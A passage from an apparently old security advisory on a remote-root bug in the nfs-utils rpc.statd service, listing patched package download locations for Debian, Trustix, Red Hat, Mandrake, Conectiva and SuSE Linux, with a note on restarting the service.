        http://http.us.debian.org/debian/dists/unstable/main/source/net/nfs-utils_0.1.9.1-1.dsc
        http://http.us.debian.org/debian/dists/unstable/main/binary-i386/net/nfs-common_0.1.9.1-1.deb
        http://http.us.debian.org/debian/dists/unstable/main/binary-powerpc/net/nfs-common_0.1.9.1-1.deb
        http://http.us.debian.org/debian/dists/unstable/main/binary-sparc/net/nfs-common_0.1.9.1-1.deb

    A  bug   recently  discovered   in  the   nfs-utils  package   can
    theoretically be used  for gaining remote  root for Trustix  Linux
    as well.  While there is currently no known exploits for this hole
    "in the wild", we suggest  that all users of Trustix  Secure Linux
    1.0x   and   1.1   upgrade.     The   new   package   is    called
    nfs-utils-0.1.9.1-1tr.i586.rpm, and can be found at:

        http://www.trustix.net/download/Trustix/updates/1.1/RPMS/
        ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/

    All Red Hat Linux 6.x users are supposed to upgrade to 2.2.16 (the
    capabilities errata said so), and this is explicitly mentioned  in
    this errata as well.  This fixes a critical security bug.   People
    rolling their own  kernel would update  this on their  own too, as
    there is a critical bug fix in the 2.2.16 kernel.  After that  zou
    can install update.

        sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
        alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
         i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
      sources: ftp://updates.redhat.com/6.2/SRPMS/nfs-utils-0.1.9.1-1.src.rpm

    After installing the new nfs-utils package, the rpc.statd  service
    must be restarted.  To do this, run:

        /etc/rc.d/init.d/nfslock restart

    For Caldera Systems have this on your mind.  rpc.statd should  not
    be confused with  rpc.rstatd.  The  former implements the  Network
    Status  Monitor  protocol,  which  is  used  by  the  NFS  locking
    functionality.   The  latter  allows  remote  clients  to  query a
    host's statistics (such as load average etc).  Caldera  OpenLinux,
    eServer and  eDesktop do  not ship  with rpc.statd,  and hence are
    not affected by this problem.

    For Linux-Mandrake:

        7.0/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm
        7.0/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm
        7.0/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm
        7.1/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm
        7.1/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm
        7.1/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm

    For Conectiva Linux:

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/nfs-utils-0.1.9.1-3cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/nfs-utils-0.1.9.1-3cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/nfs-utils-0.1.9.1-3cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/nfs-utils-0.1.9.1-3cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/nfs-utils-0.1.9.1-3cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.1/i386/nfs-utils-0.1.9.1-4cl.i386.rpm

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.1/SRPMS/nfs-utils-0.1.9.1-4cl.src.rpm

    For SuSE Linux:

        ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/knfsd.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/knfsd.spm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/knfsd.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/knfsd.spm
        ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/linuxnfs.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/linuxnfs.spm
        ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/linuxnfs.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/linuxnfs.spm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/knfsd.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/knfsd.spm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/knfsd.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/knfsd.spm
        ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/linuxnfs.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/linuxnfs.spm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/knfsd.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/knfsd.spm